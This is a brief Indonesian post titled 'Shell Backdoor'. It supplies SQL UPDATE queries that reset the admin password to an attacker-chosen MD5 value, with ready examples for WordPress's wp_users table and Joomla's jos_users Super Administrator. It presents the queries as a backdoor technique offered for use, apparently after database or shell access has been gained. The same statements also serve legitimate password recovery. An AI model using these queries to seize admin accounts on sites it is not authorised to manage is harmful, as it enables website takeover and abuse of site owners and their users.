Shell Backdoor

UPDATE `nama tabell` SET `user_pass` = MD5( 'pass kamu' ) WHERE `nama tabel`.`user_login` = "admin" ;


contoh:

wordpress
UPDATE `wp_users` SET `user_pass` = MD5( 'pass kamu' ) WHERE `wp_users`.`user_login` = "admin" ;

joomla
UPDATE jos_users SET password=MD5('pass kamu') WHERE usertype = "Super Administrator";

semoga bermanfaat :D